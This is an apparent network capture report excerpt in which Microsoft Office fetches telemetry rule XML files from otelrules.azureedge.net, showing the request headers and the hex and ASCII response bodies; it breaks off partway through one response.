2024-12-02 16:56:05 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-12-02 16:56:05 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-12-02 16:56:05 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-12-02 16:56:05 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-12-02 16:56:05 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-12-02 16:56:05 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-12-02 16:56:05 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	49777	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:07 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:08 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:07 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 44a2812f-d01e-0028-1207-427896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165607Z-174f7845968j6t2phC1EWRcfe800000014s000000000w4ew x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:08 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	49774	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:07 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:08 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:07 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 0b3277ea-501e-00a0-5e91-3f9d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165607Z-174f7845968xr5c2hC1EWRd0hn0000000pp0000000002g23 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:08 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	49775	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:07 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:08 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:07 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: e0d2e361-601e-00ab-06d4-4366f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165607Z-174f7845968vqt9xhC1EWRgten00000014t000000000aq7e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:08 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	49776	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:07 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:08 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:07 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 2aedf92b-c01e-00a1-5716-437e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165607Z-174f7845968n2hr8hC1EWR9cag00000014b000000000fnz6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:08 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	49778	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:07 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:08 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:07 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: d2130280-a01e-006f-03c7-4313cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165607Z-174f7845968psccphC1EWRuz9s00000014y000000000gkpc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:08 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	49783	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:09 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:10 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:10 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: c220f382-901e-0029-3552-43274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165610Z-174f7845968n2hr8hC1EWR9cag00000014a000000000m6rc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:10 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	49779	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:10 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:10 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:10 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 25544c2c-a01e-00ab-8007-419106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165610Z-174f7845968jrjrxhC1EWRmmrs00000014yg000000001h90 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:10 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:10 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:10 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:10 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: f20189e0-201e-005d-0f7c-43afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165610Z-174f7845968xlwnmhC1EWR0sv800000014g000000000me4e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:10 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 